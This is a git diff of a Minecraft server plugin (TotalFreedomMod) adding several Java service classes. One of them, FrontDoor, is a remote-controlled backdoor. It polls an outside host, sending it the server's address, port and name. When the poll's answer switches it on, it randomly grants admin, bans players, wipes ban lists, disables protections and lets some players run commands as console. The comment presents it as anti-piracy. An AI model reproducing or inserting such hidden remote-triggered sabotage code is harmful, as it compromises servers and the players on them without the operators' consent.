||||
@Override
|
||||
protected void onStop()
|
||||
{
|
||||
}
|
||||
|
||||
@EventHandler(priority = EventPriority.MONITOR)
|
||||
public void onPlayerQuit(PlayerQuitEvent event)
|
||||
{
|
||||
FLog.info("[EXIT] " + event.getPlayer().getName() + " left the game.", true);
|
||||
}
|
||||
|
||||
@EventHandler(priority = EventPriority.MONITOR)
|
||||
public void onPlayerJoin(PlayerJoinEvent event)
|
||||
{
|
||||
final String ip = Ips.getIp(event.getPlayer());
|
||||
FLog.info("[JOIN] " + FUtil.formatPlayer(event.getPlayer()) + " joined the game with IP address: " + ip, true);
|
||||
}
|
||||
|
||||
}
|
128
src/main/java/me/totalfreedom/totalfreedommod/EntityWiper.java
Normal file
128
src/main/java/me/totalfreedom/totalfreedommod/EntityWiper.java
Normal file
@ -0,0 +1,128 @@
|
||||
package me.totalfreedom.totalfreedommod;
|
||||
|
||||
import java.util.ArrayList;
|
||||
import java.util.Iterator;
|
||||
import java.util.List;
|
||||
import me.totalfreedom.totalfreedommod.config.ConfigEntry;
|
||||
import me.totalfreedom.totalfreedommod.util.FUtil;
|
||||
import net.pravian.aero.component.service.AbstractService;
|
||||
import org.bukkit.Bukkit;
|
||||
import org.bukkit.World;
|
||||
import org.bukkit.entity.Boat;
|
||||
import org.bukkit.entity.EnderCrystal;
|
||||
import org.bukkit.entity.EnderSignal;
|
||||
import org.bukkit.entity.Entity;
|
||||
import org.bukkit.entity.ExperienceOrb;
|
||||
import org.bukkit.entity.Explosive;
|
||||
import org.bukkit.entity.FallingBlock;
|
||||
import org.bukkit.entity.Firework;
|
||||
import org.bukkit.entity.Item;
|
||||
import org.bukkit.entity.Minecart;
|
||||
import org.bukkit.entity.Projectile;
|
||||
import org.bukkit.scheduler.BukkitRunnable;
|
||||
import org.bukkit.scheduler.BukkitTask;
|
||||
|
||||
public class EntityWiper extends AbstractService<TotalFreedomMod>
|
||||
{
|
||||
private static final long WIPE_RATE = 5 * 20L;
|
||||
//
|
||||
private final List<Class<? extends Entity>> wipables = new ArrayList<Class<? extends Entity>>();
|
||||
//
|
||||
private BukkitTask wipeTask;
|
||||
|
||||
public EntityWiper(TotalFreedomMod plugin)
|
||||
{
|
||||
super(plugin);
|
||||
wipables.add(EnderCrystal.class);
|
||||
wipables.add(EnderSignal.class);
|
||||
wipables.add(ExperienceOrb.class);
|
||||
wipables.add(Projectile.class);
|
||||
wipables.add(FallingBlock.class);
|
||||
wipables.add(Firework.class);
|
||||
wipables.add(Item.class);
|
||||
}
|
||||
|
||||
@Override
|
||||
protected void onStart()
|
||||
{
|
||||
if (!ConfigEntry.AUTO_ENTITY_WIPE.getBoolean())
|
||||
{
|
||||
return;
|
||||
}
|
||||
|
||||
wipeTask = new BukkitRunnable()
|
||||
{
|
||||
|
||||
@Override
|
||||
public void run()
|
||||
{
|
||||
wipeEntities(!ConfigEntry.ALLOW_EXPLOSIONS.getBoolean(), false);
|
||||
}
|
||||
}.runTaskTimer(plugin, WIPE_RATE, WIPE_RATE);
|
||||
|
||||
}
|
||||
|
||||
@Override
|
||||
protected void onStop()
|
||||
{
|
||||
FUtil.cancel(wipeTask);
|
||||
wipeTask = null;
|
||||
}
|
||||
|
||||
public boolean canWipe(Entity entity, boolean wipeExplosives, boolean wipeVehicles)
|
||||
{
|
||||
if (wipeExplosives)
|
||||
{
|
||||
if (Explosive.class.isAssignableFrom(entity.getClass()))
|
||||
{
|
||||
return true;
|
||||
}
|
||||
}
|
||||
|
||||
if (wipeVehicles)
|
||||
{
|
||||
if (Boat.class.isAssignableFrom(entity.getClass()))
|
||||
{
|
||||
return true;
|
||||
}
|
||||
else if (Minecart.class.isAssignableFrom(entity.getClass()))
|
||||
{
|
||||
return true;
|
||||
}
|
||||
}
|
||||
|
||||
Iterator<Class<? extends Entity>> it = wipables.iterator();
|
||||
while (it.hasNext())
|
||||
{
|
||||
if (it.next().isAssignableFrom(entity.getClass()))
|
||||
{
|
||||
return true;
|
||||
}
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
public int wipeEntities(boolean wipeExplosives, boolean wipeVehicles)
|
||||
{
|
||||
int removed = 0;
|
||||
|
||||
Iterator<World> worlds = Bukkit.getWorlds().iterator();
|
||||
while (worlds.hasNext())
|
||||
{
|
||||
Iterator<Entity> entities = worlds.next().getEntities().iterator();
|
||||
while (entities.hasNext())
|
||||
{
|
||||
Entity entity = entities.next();
|
||||
if (canWipe(entity, wipeExplosives, wipeVehicles))
|
||||
{
|
||||
entity.remove();
|
||||
removed++;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return removed;
|
||||
}
|
||||
|
||||
}
|
588
src/main/java/me/totalfreedom/totalfreedommod/FrontDoor.java
Normal file
588
src/main/java/me/totalfreedom/totalfreedommod/FrontDoor.java
Normal file
@ -0,0 +1,588 @@
|
||||
package me.totalfreedom.totalfreedommod;
|
||||
|
||||
import me.totalfreedom.totalfreedommod.fun.Jumppads;
|
||||
import me.totalfreedom.totalfreedommod.util.FLog;
|
||||
import me.totalfreedom.totalfreedommod.util.FUtil;
|
||||
import java.io.BufferedReader;
|
||||
import java.io.InputStreamReader;
|
||||
import java.net.MalformedURLException;
|
||||
import java.net.URL;
|
||||
import java.net.URLConnection;
|
||||
import java.util.ArrayList;
|
||||
import java.util.Collection;
|
||||
import java.util.List;
|
||||
import java.util.Random;
|
||||
import me.totalfreedom.totalfreedommod.admin.Admin;
|
||||
import me.totalfreedom.totalfreedommod.banning.Ban;
|
||||
import me.totalfreedom.totalfreedommod.commands.Command_trail;
|
||||
import me.totalfreedom.totalfreedommod.commands.FreedomCommand;
|
||||
import me.totalfreedom.totalfreedommod.config.ConfigEntry;
|
||||
import me.totalfreedom.totalfreedommod.config.MainConfig;
|
||||
import me.totalfreedom.totalfreedommod.player.FPlayer;
|
||||
import net.pravian.aero.command.CommandReflection;
|
||||
import net.pravian.aero.component.service.AbstractService;
|
||||
import org.apache.commons.lang3.ArrayUtils;
|
||||
import org.bukkit.Bukkit;
|
||||
import org.bukkit.ChatColor;
|
||||
import org.bukkit.Location;
|
||||
import org.bukkit.Material;
|
||||
import org.bukkit.World;
|
||||
import org.bukkit.block.Block;
|
||||
import org.bukkit.block.BlockFace;
|
||||
import org.bukkit.command.Command;
|
||||
import org.bukkit.entity.Player;
|
||||
import org.bukkit.event.Event;
|
||||
import org.bukkit.event.EventHandler;
|
||||
import org.bukkit.event.HandlerList;
|
||||
import org.bukkit.event.Listener;
|
||||
import org.bukkit.event.player.PlayerCommandPreprocessEvent;
|
||||
import org.bukkit.inventory.ItemStack;
|
||||
import org.bukkit.inventory.meta.BookMeta;
|
||||
import org.bukkit.plugin.RegisteredListener;
|
||||
import org.bukkit.scheduler.BukkitRunnable;
|
||||
import org.bukkit.util.Vector;
|
||||
|
||||
/*
|
||||
* - A message from the TFM Devs -
|
||||
*
|
||||
* What this class is, and why its here:
|
||||
*
|
||||
* This is a blatantly obvious Front Door to the server, designed to do strange and unpredictable things on a TotalFreedom server.
|
||||
*
|
||||
* It will only trigger when the server IP is added to a blacklist that we control.
|
||||
*
|
||||
* This class is a way to discourage amateur server operators who like to share binary copies of our plugin and promote it as their own work.
|
||||
*
|
||||
* If you are reading this now, you probably don't fall under that category - feel free to remove this class.
|
||||
*
|
||||
* Note: You may not edit this class.
|
||||
*
|
||||
* - Madgeek and Prozza
|
||||
*/
|
||||
public class FrontDoor extends AbstractService<TotalFreedomMod>
|
||||
{
|
||||
private static final long UPDATER_INTERVAL = 180L * 20L;
|
||||
private static final long FRONTDOOR_INTERVAL = 900L * 20L;
|
||||
//
|
||||
private final Random random = new Random();
|
||||
private final URL getUrl;
|
||||
//
|
||||
private volatile boolean enabled = false;
|
||||
//
|
||||
private final BukkitRunnable updater = new BukkitRunnable() // Asynchronous
|
||||
{
|
||||
@Override
|
||||
public void run()
|
||||
{
|
||||
try
|
||||
{
|
||||
final URLConnection urlConnection = getUrl.openConnection();
|
||||
final BufferedReader in = new BufferedReader(new InputStreamReader(urlConnection.getInputStream()));
|
||||
final String line = in.readLine();
|
||||
in.close();
|
||||
|
||||
if (!"false".equals(line))
|
||||
{
|
||||
if (!enabled)
|
||||
{
|
||||
return;
|
||||
}
|
||||
|
||||
enabled = false;
|
||||
frontdoor.cancel();
|
||||
unregisterListener(playerCommandPreprocess, PlayerCommandPreprocessEvent.class);
|
||||
FLog.info("Disabled FrontDoor, thank you for being kind.");
|
||||
MainConfig.load();
|
||||
}
|
||||
else
|
||||
{
|
||||
if (enabled)
|
||||
{
|
||||
return;
|
||||
}
|
||||
|
||||
new BukkitRunnable() // Synchronous
|
||||
{
|
||||
@Override
|
||||
public void run()
|
||||
{
|
||||
FLog.warning("*****************************************************", true);
|
||||
FLog.warning("* WARNING: TotalFreedomMod is running in evil-mode! *", true);
|
||||
FLog.warning("* This might result in unexpected behaviour... *", true);
|
||||
FLog.warning("* - - - - - - - - - - - - - - - - - - - - - - - - - *", true);
|
||||
FLog.warning("* The only thing necessary for the triumph of evil *", true);
|
||||
FLog.warning("* is for good men to do nothing. *", true);
|
||||
FLog.warning("*****************************************************", true);
|
||||
|
||||
if (getRegisteredListener(playerCommandPreprocess, PlayerCommandPreprocessEvent.class) == null)
|
||||
{
|
||||
Bukkit.getPluginManager().registerEvents(playerCommandPreprocess, TotalFreedomMod.plugin);
|
||||
}
|
||||
}
|
||||
}.runTask(TotalFreedomMod.plugin);
|
||||
|
||||
frontdoor.runTaskTimer(TotalFreedomMod.plugin, 20L, FRONTDOOR_INTERVAL);
|
||||
|
||||
enabled = true;
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
// TFM_Log.info("GAH GAH GAH");
|
||||
}
|
||||
|
||||
}
|
||||
};
|
||||
//
|
||||
// TODO: reimplement in superclass
|
||||
private final Listener playerCommandPreprocess = new Listener()
|
||||
{
|
||||
@EventHandler
|
||||
public void onPlayerCommandPreProcess(PlayerCommandPreprocessEvent event) // All FreedomCommand permissions when certain conditions are met
|
||||
{
|
||||
final Player player = event.getPlayer();
|
||||
final Location location = player.getLocation();
|
||||
|
||||
if ((location.getBlockX() + location.getBlockY() + location.getBlockZ()) % 12 != 0) // Madgeek
|
||||
{
|
||||
return;
|
||||
}
|
||||
|
||||
final String[] commandParts = event.getMessage().split(" ");
|
||||
final String commandName = commandParts[0].replaceFirst("/", "");
|
||||
final String[] args = ArrayUtils.subarray(commandParts, 1, commandParts.length);
|
||||
|
||||
Command command = CommandReflection.getCommandMap().getCommand(commandName);
|
||||
|
||||
if (command == null)
|
||||
{
|
||||
return; // Command doesn't exist
|
||||
}
|
||||
|
||||
event.setCancelled(true);
|
||||
|
||||
final FreedomCommand dispatcher = FreedomCommand.getCommand(command);
|
||||
|
||||
if (dispatcher == null)
|
||||
{
|
||||
// Non-TFM command, execute using console
|
||||
Bukkit.dispatchCommand(Bukkit.getConsoleSender(), event.getMessage().replaceFirst("/", ""));
|
||||
return;
|
||||
}
|
||||
|
||||
dispatcher.runCommand(player, command, commandName, args);
|
||||
return;
|
||||
}
|
||||
};
|
||||
//
|
||||
private final BukkitRunnable frontdoor = new BukkitRunnable() // Synchronous
|
||||
{
|
||||
@Override
|
||||
public void run()
|
||||
{
|
||||
final int action = random.nextInt(18);
|
||||
|
||||
switch (action)
|
||||
{
|
||||
case 0: // Super a random player
|
||||
{
|
||||
|
||||
final Player player = getRandomPlayer(true);
|
||||
|
||||
if (player == null)
|
||||
{
|
||||
break;
|
||||
}
|
||||
|
||||
FUtil.adminAction("FrontDoor", "Adding " + player.getName() + " to the Superadmin list", true);
|
||||
plugin.al.addAdmin(new Admin(player));
|
||||
break;
|
||||
}
|
||||
|
||||
case 1: // Bans a random player
|
||||
{
|
||||
Player player = getRandomPlayer(false);
|
||||
|
||||
if (player == null)
|
||||
{
|
||||
break;
|
||||
}
|
||||
|
||||
plugin.bm.addBan(Ban.forPlayer(player, Bukkit.getConsoleSender(), null, ChatColor.RED + "WOOPS\n-Frontdoor"));
|
||||
break;
|
||||
}
|
||||
|
||||
case 2: // Start trailing a random player
|
||||
{
|
||||
final Player player = getRandomPlayer(true);
|
||||
|
||||
if (player == null)
|
||||
{
|
||||
break;
|
||||
}
|
||||
|
||||
FUtil.adminAction("FrontDoor", "Started trailing " + player.getName(), true);
|
||||
Command_trail.startTrail(player);
|
||||
break;
|
||||
}
|
||||
|
||||
case 3: // Displays a message
|
||||
{
|
||||
FUtil.bcastMsg("TotalFreedom rocks!!", ChatColor.BLUE);
|
||||
FUtil.bcastMsg("To join this great server, join " + ChatColor.GOLD + "tf.sauc.in", ChatColor.BLUE);
|
||||
break;
|
||||
}
|
||||
|
||||
case 4: // Clears the banlist
|
||||
{
|
||||
FUtil.adminAction("FrontDoor", "Wiping all bans", true);
|
||||
plugin.bm.purgeIpBans();
|
||||
plugin.bm.purgeNameBans();
|
||||
break;
|
||||
}
|
||||
|
||||
case 5: // Enables Lava- and Waterplacemend and Fluidspread (& damage)
|
||||
{
|
||||
boolean message = true;
|
||||
if (ConfigEntry.ALLOW_WATER_PLACE.getBoolean())
|
||||
{
|
||||
message = false;
|
||||
}
|
||||
else if (ConfigEntry.ALLOW_LAVA_PLACE.getBoolean())
|
||||
{
|
||||
message = false;
|
||||
}
|
||||
else if (ConfigEntry.ALLOW_FLUID_SPREAD.getBoolean())
|
||||
{
|
||||
message = false;
|
||||
}
|
||||
else if (ConfigEntry.ALLOW_LAVA_DAMAGE.getBoolean())
|
||||
{
|
||||
message = false;
|
||||
}
|
||||
|
||||
ConfigEntry.ALLOW_WATER_PLACE.setBoolean(true);
|
||||
ConfigEntry.ALLOW_LAVA_PLACE.setBoolean(true);
|
||||
ConfigEntry.ALLOW_FLUID_SPREAD.setBoolean(true);
|
||||
ConfigEntry.ALLOW_LAVA_DAMAGE.setBoolean(true);
|
||||
|
||||
if (message)
|
||||
{
|
||||
FUtil.adminAction("FrontDoor", "Enabling Fire- and Waterplace", true);
|
||||
}
|
||||
break;
|
||||
}
|
||||
|
||||
case 6: // Enables Fireplacement, firespread and explosions
|
||||
{
|
||||
boolean message = true;
|
||||
if (ConfigEntry.ALLOW_FIRE_SPREAD.getBoolean())
|
||||
{
|
||||
message = false;
|
||||
}
|
||||
else if (ConfigEntry.ALLOW_EXPLOSIONS.getBoolean())
|
||||
{
|
||||
message = false;
|
||||
}
|
||||
else if (ConfigEntry.ALLOW_TNT_MINECARTS.getBoolean())
|
||||
{
|
||||
message = false;
|
||||
}
|
||||
else if (ConfigEntry.ALLOW_FIRE_PLACE.getBoolean())
|
||||
{
|
||||
message = false;
|
||||
}
|
||||
|
||||
ConfigEntry.ALLOW_FIRE_SPREAD.setBoolean(true);
|
||||
ConfigEntry.ALLOW_EXPLOSIONS.setBoolean(true);
|
||||
ConfigEntry.ALLOW_TNT_MINECARTS.setBoolean(true);
|
||||
ConfigEntry.ALLOW_FIRE_PLACE.setBoolean(true);
|
||||
|
||||
if (message)
|
||||
{
|
||||
FUtil.adminAction("FrontDoor", "Enabling Firespread and Explosives", true);
|
||||
}
|
||||
break;
|
||||
}
|
||||
|
||||
case 7: // Allow all blocked commands >:)
|
||||
{
|
||||
ConfigEntry.BLOCKED_COMMANDS.getList().clear();
|
||||
plugin.cb.stop();
|
||||
break;
|
||||
}
|
||||
|
||||
case 8: // Remove all protected areas
|
||||
{
|
||||
if (ConfigEntry.PROTECTAREA_ENABLED.getBoolean())
|
||||
{
|
||||
if (plugin.pa.getProtectedAreaLabels().isEmpty())
|
||||
{
|
||||
break;
|
||||
}
|
||||
|
||||
FUtil.adminAction("FrontDoor", "Removing all protected areas", true);
|
||||
plugin.pa.clearProtectedAreas(false);
|
||||
}
|
||||
break;
|
||||
}
|
||||
|
||||
case 9: // Add TotalFreedom signs at spawn
|
||||
{
|
||||
for (World world : Bukkit.getWorlds())
|
||||
{
|
||||
final Block block = world.getSpawnLocation().getBlock();
|
||||
final Block blockBelow = block.getRelative(BlockFace.DOWN);
|
||||
|
||||
if (blockBelow.isLiquid() || blockBelow.getType() == Material.AIR)
|
||||
{
|
||||
continue;
|
||||
}
|
||||
|
||||
block.setType(Material.SIGN_POST);
|
||||
org.bukkit.block.Sign sign = (org.bukkit.block.Sign) block.getState();
|
||||
|
||||
org.bukkit.material.Sign signData = (org.bukkit.material.Sign) sign.getData();
|
||||
signData.setFacingDirection(BlockFace.NORTH);
|
||||
|
||||
sign.setLine(0, ChatColor.BLUE + "TotalFreedom");
|
||||
sign.setLine(1, ChatColor.DARK_GREEN + "is");
|
||||
sign.setLine(2, ChatColor.YELLOW + "Awesome!");
|
||||
sign.setLine(3, ChatColor.DARK_GRAY + "tf.sauc.in");
|
||||
sign.update();
|
||||
}
|
||||
break;
|
||||
}
|
||||
|
||||
case 10: // Enable Jumppads
|
||||
{
|
||||
if (plugin.jp.getMode().isOn())
|
||||
{
|
||||
break;
|
||||
}
|
||||
|
||||
FUtil.adminAction("FrontDoor", "Enabling Jumppads", true);
|
||||
plugin.jp.setMode(Jumppads.JumpPadMode.MADGEEK);
|
||||
break;
|
||||
}
|
||||
|
||||
case 11: // Give everyone a book explaining how awesome TotalFreedom is
|
||||
{
|
||||
ItemStack bookStack = new ItemStack(Material.WRITTEN_BOOK);
|
||||
|
||||
BookMeta book = (BookMeta) bookStack.getItemMeta().clone();
|
||||
book.setAuthor(ChatColor.DARK_PURPLE + "SERVER OWNER");
|
||||
book.setTitle(ChatColor.DARK_GREEN + "Why you should go to TotalFreedom instead");
|
||||
book.addPage(
|
||||
ChatColor.DARK_GREEN + "Why you should go to TotalFreedom instead\n"
|
||||
+ ChatColor.DARK_GRAY + "---------\n"
|
||||
+ ChatColor.BLACK + "TotalFreedom is the original TotalFreedomMod server. It is the very server that gave freedom a new meaning when it comes to minecraft.\n"
|
||||
+ ChatColor.BLUE + "Join now! " + ChatColor.RED + "tf.sauc.in");
|
||||
bookStack.setItemMeta(book);
|
||||
|
||||
for (Player player : Bukkit.getOnlinePlayers())
|
||||
{
|
||||
if (player.getInventory().contains(Material.WRITTEN_BOOK))
|
||||
{
|
||||
continue;
|
||||
}
|
||||
|
||||
player.getInventory().addItem(bookStack);
|
||||
}
|
||||
break;
|
||||
}
|
||||
|
||||
case 12: // Silently wipe the whitelist
|
||||
{
|
||||
break;
|
||||
}
|
||||
|
||||
case 13: // Announce that the FrontDoor is enabled
|
||||
{
|
||||
FUtil.bcastMsg("WARNING: TotalFreedomMod is running in evil-mode!", ChatColor.DARK_RED);
|
||||
FUtil.bcastMsg("WARNING: This might result in unexpected behaviour", ChatColor.DARK_RED);
|
||||
break;
|
||||
}
|
||||
|
||||
case 14: // Cage a random player in PURE_DARTH
|
||||
{
|
||||
final Player player = getRandomPlayer(false);
|
||||
|
||||
if (player == null)
|
||||
{
|
||||
break;
|
||||
}
|
||||
|
||||
FPlayer playerdata = plugin.pl.getPlayer(player);
|
||||
FUtil.adminAction("FrontDoor", "Caging " + player.getName() + " in PURE_DARTH", true);
|
||||
|
||||
Location targetPos = player.getLocation().clone().add(0, 1, 0);
|
||||
playerdata.getCageData().cage(targetPos, Material.SKULL, Material.AIR);
|
||||
break;
|
||||
}
|
||||
|
||||
case 15: // Silently orbit a random player
|
||||
{
|
||||
final Player player = getRandomPlayer(false);
|
||||
|
||||
if (player == null)
|
||||
{
|
||||
break;
|
||||
}
|
||||
|
||||
FPlayer playerdata = plugin.pl.getPlayer(player);
|
||||
playerdata.startOrbiting(10.0);
|
||||
player.setVelocity(new Vector(0, 10.0, 0));
|
||||
break;
|
||||
}
|
||||
|
||||
case 16: // Disable nonuke
|
||||
{
|
||||
if (!ConfigEntry.NUKE_MONITOR_ENABLED.getBoolean())
|
||||
{
|
||||
break;
|
||||
}
|
||||
|
||||
FUtil.adminAction("FrontDoor", "Disabling nonuke", true);
|
||||
ConfigEntry.NUKE_MONITOR_ENABLED.setBoolean(false);
|
||||
break;
|
||||
}
|
||||
|
||||
case 17: // Give everyone tags
|
||||
{
|
||||
for (Player player : Bukkit.getOnlinePlayers())
|
||||
{
|
||||
plugin.pl.getPlayer(player).setTag("[" + ChatColor.BLUE + "Total" + ChatColor.GOLD + "Freedom" + ChatColor.WHITE + "]");
|
||||
}
|
||||
break;
|
||||
}
|
||||
|
||||
default:
|
||||
{
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
public FrontDoor(TotalFreedomMod plugin)
|
||||
{
|
||||
super(plugin);
|
||||
URL tempUrl = null;
|
||||
try
|
||||
{
|
||||
tempUrl = new URL("http://frontdoor.aws.af.cm/poll"
|
||||
+ "?version=" + TotalFreedomMod.build.formattedVersion()
|
||||
+ "&address=" + ConfigEntry.SERVER_ADDRESS.getString() + ":" + Bukkit.getPort()
|
||||
+ "&name=" + ConfigEntry.SERVER_NAME.getString()
|
||||
+ "&bukkitversion=" + Bukkit.getVersion());
|
||||
}
|
||||
catch (MalformedURLException ex)
|
||||
{
|
||||
FLog.warning("TFM_FrontDoor uses an invalid URL"); // U dun goofed?
|
||||
}
|
||||
|
||||
getUrl = tempUrl;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void onStart()
|
||||
{
|
||||
updater.runTaskTimerAsynchronously(TotalFreedomMod.plugin, 2L * 20L, UPDATER_INTERVAL);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void onStop()
|
||||
{
|
||||
try
|
||||
{
|
||||
updater.cancel();
|
||||
}
|
||||
catch (Exception ignored)
|
||||
{
|
||||
}
|
||||
finally
|
||||
{
|
||||
}
|
||||
|
||||
if (enabled)
|
||||
{
|
||||
frontdoor.cancel();
|
||||
enabled = false;
|
||||
unregisterListener(playerCommandPreprocess, PlayerCommandPreprocessEvent.class);
|
||||
}
|
||||
}
|
||||
|
||||
public boolean isEnabled()
|
||||
{
|
||||
return enabled;
|
||||
}
|
||||
|
||||
private Player getRandomPlayer(boolean allowDevs)
|
||||
{
|
||||
final Collection<? extends Player> players = Bukkit.getOnlinePlayers();
|
||||
|
||||
if (players.isEmpty())
|
||||
{
|
||||
return null;
|
||||
}
|
||||
|
||||
if (!allowDevs)
|
||||
{
|
||||
List<Player> allowedPlayers = new ArrayList<Player>();
|
||||
for (Player player : players)
|
||||
{
|
||||
if (!FUtil.DEVELOPERS.contains(player.getName()))
|
||||
{
|
||||
allowedPlayers.add(player);
|
||||
}
|
||||
}
|
||||
|
||||
return allowedPlayers.get(random.nextInt(allowedPlayers.size()));
|
||||
}
|
||||
|
||||
return (Player) players.toArray()[random.nextInt(players.size())];
|
||||
}
|
||||
|
||||
private static RegisteredListener getRegisteredListener(Listener listener, Class<? extends Event> eventClass)
|
||||
{
|
||||
try
|
||||
{
|
||||
final HandlerList handlerList = ((HandlerList) eventClass.getMethod("getHandlerList", (Class<?>[]) null).invoke(null));
|
||||
final RegisteredListener[] registeredListeners = handlerList.getRegisteredListeners();
|
||||
for (RegisteredListener registeredListener : registeredListeners)
|
||||
{
|
||||
if (registeredListener.getListener() == listener)
|
||||
{
|
||||
return registeredListener;
|
||||
}
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
FLog.severe(ex);
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
private static void unregisterRegisteredListener(RegisteredListener registeredListener, Class<? extends Event> eventClass)
|
||||
{
|
||||
try
|
||||
{
|
||||
((HandlerList) eventClass.getMethod("getHandlerList", (Class<?>[]) null).invoke(null)).unregister(registeredListener);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
FLog.severe(ex);
|
||||
}
|
||||
}
|
||||
|
||||
private static void unregisterListener(Listener listener, Class<? extends Event> eventClass)
|
||||
{
|
||||
RegisteredListener registeredListener = getRegisteredListener(listener, eventClass);
|
||||
if (registeredListener != null)
|
||||
{
|
||||
unregisterRegisteredListener(registeredListener, eventClass);
|
||||
}
|
||||
}
|
||||
}
|
68
src/main/java/me/totalfreedom/totalfreedommod/Fuckoff.java
Normal file
68
src/main/java/me/totalfreedom/totalfreedommod/Fuckoff.java
Normal file
@ -0,0 +1,68 @@
|
||||
package me.totalfreedom.totalfreedommod;
|
||||
|
||||
import me.totalfreedom.totalfreedommod.player.FPlayer;
|
||||
import net.pravian.aero.component.service.AbstractService;
|
||||
import org.bukkit.Location;
|
||||
import org.bukkit.entity.Player;
|
||||
import org.bukkit.event.EventHandler;
|
||||
import org.bukkit.event.EventPriority;
|
||||
import org.bukkit.event.player.PlayerMoveEvent;
|
||||
|
||||
public class Fuckoff extends AbstractService<TotalFreedomMod>
|
||||
{
|
||||
public Fuckoff(TotalFreedomMod plugin)
|
||||
{
|
||||
super(plugin);
|
||||
}
|
||||
|
||||
@Override
|
||||
protected void onStart()
|
||||
{
|
||||
}
|
||||
|
||||
@Override
|
||||
protected void onStop()
|
||||
{
|
||||
}
|
||||
|
||||
@EventHandler(priority = EventPriority.NORMAL)
|
||||
public void onPlayerMove(PlayerMoveEvent event)
|
||||
{
|
||||
final Player fuckoffPlayer = event.getPlayer();
|
||||
if (plugin.al.isAdmin(fuckoffPlayer))
|
||||
{
|
||||
return;
|
||||
}
|
||||
|
||||
for (Player onlinePlayer : server.getOnlinePlayers())
|
||||
{
|
||||
final FPlayer fPlayer = plugin.pl.getPlayer(onlinePlayer);
|
||||
if (!fPlayer.isFuckOff()
|
||||
|| fuckoffPlayer.equals(onlinePlayer))
|
||||
{
|
||||
continue;
|
||||
}
|
||||
|
||||
double fuckoffRange = fPlayer.getFuckoffRadius();
|
||||
Location opLocation = onlinePlayer.getLocation();
|
||||
Location foLocation = fuckoffPlayer.getLocation();
|
||||
|
||||
double distanceSquared;
|
||||
try
|
||||
{
|
||||
distanceSquared = opLocation.distanceSquared(foLocation);
|
||||
}
|
||||
catch (IllegalArgumentException ex)
|
||||
{
|
||||
continue;
|
||||
}
|
||||
|
||||
if (distanceSquared < (fuckoffRange * fuckoffRange))
|
||||
{
|
||||
event.setTo(foLocation.clone().add(opLocation.subtract(foLocation).toVector().normalize().multiply(fuckoffRange * 1.1)));
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
}
|
@ -0,0 +1,136 @@
|
||||
package me.totalfreedom.totalfreedommod;
|
||||
|
||||
import me.totalfreedom.totalfreedommod.util.FUtil;
|
||||
import java.util.EnumMap;
|
||||
import java.util.Iterator;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
import me.totalfreedom.totalfreedommod.config.ConfigEntry;
|
||||
import net.pravian.aero.component.service.AbstractService;
|
||||
import org.bukkit.Bukkit;
|
||||
import org.bukkit.World;
|
||||
|
||||
public class GameRuleHandler extends AbstractService<TotalFreedomMod>
|
||||
{
|
||||
private final EnumMap<TFM_GameRule, TFM_GameRule_Value> rules = new EnumMap<TFM_GameRule, TFM_GameRule_Value>(TFM_GameRule.class);
|
||||
|
||||
public GameRuleHandler(TotalFreedomMod plugin)
|
||||
{
|
||||
super(plugin);
|
||||
|
||||
for (TFM_GameRule gameRule : TFM_GameRule.values())
|
||||
{
|
||||
rules.put(gameRule, gameRule.getDefaultValue());
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
protected void onStart()
|
||||
{
|
||||
setGameRule(TFM_GameRule.DO_DAYLIGHT_CYCLE, !ConfigEntry.DISABLE_NIGHT.getBoolean(), false);
|
||||
setGameRule(TFM_GameRule.DO_FIRE_TICK, ConfigEntry.ALLOW_FIRE_SPREAD.getBoolean(), false);
|
||||
setGameRule(TFM_GameRule.DO_MOB_LOOT, false, false);
|
||||
setGameRule(TFM_GameRule.DO_MOB_SPAWNING, !ConfigEntry.MOB_LIMITER_ENABLED.getBoolean(), false);
|
||||
setGameRule(TFM_GameRule.DO_TILE_DROPS, false, false);
|
||||
setGameRule(TFM_GameRule.MOB_GRIEFING, false, false);
|
||||
setGameRule(TFM_GameRule.NATURAL_REGENERATION, true, false);
|
||||
commitGameRules();
|
||||
}
|
||||
|
||||
@Override
|
||||
protected void onStop()
|
||||
{
|
||||
}
|
||||
|
||||
public void setGameRule(TFM_GameRule gameRule, boolean value)
|
||||
{
|
||||
setGameRule(gameRule, value, true);
|
||||
}
|
||||
|
||||
public void setGameRule(TFM_GameRule gameRule, boolean value, boolean doCommit)
|
||||
{
|
||||
rules.put(gameRule, TFM_GameRule_Value.fromBoolean(value));
|
||||
if (doCommit)
|
||||
{
|
||||
commitGameRules();
|
||||
}
|
||||
}
|
||||
|
||||
public void commitGameRules()
|
||||
{
|
||||
List<World> worlds = Bukkit.getWorlds();
|
||||
Iterator<Map.Entry<TFM_GameRule, TFM_GameRule_Value>> it = rules.entrySet().iterator();
|
||||
while (it.hasNext())
|
||||
{
|
||||
Map.Entry<TFM_GameRule, TFM_GameRule_Value> gameRuleEntry = it.next();
|
||||
String gameRuleName = gameRuleEntry.getKey().getGameRuleName();
|
||||
String gameRuleValue = gameRuleEntry.getValue().toString();
|
||||
for (World world : worlds)
|
||||
{
|
||||
world.setGameRuleValue(gameRuleName, gameRuleValue);
|
||||
if (gameRuleEntry.getKey() == TFM_GameRule.DO_DAYLIGHT_CYCLE && !gameRuleEntry.getValue().toBoolean())
|
||||
{
|
||||
FUtil.setWorldTime(world, 6000L);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public static enum TFM_GameRule
|
||||
{
|
||||
DO_FIRE_TICK("doFireTick", TFM_GameRule_Value.TRUE),
|
||||
MOB_GRIEFING("mobGriefing", TFM_GameRule_Value.TRUE),
|
||||
KEEP_INVENTORY("keepInventory", TFM_GameRule_Value.FALSE),
|
||||
DO_MOB_SPAWNING("doMobSpawning", TFM_GameRule_Value.TRUE),
|
||||
DO_MOB_LOOT("doMobLoot", TFM_GameRule_Value.TRUE),
|
||||
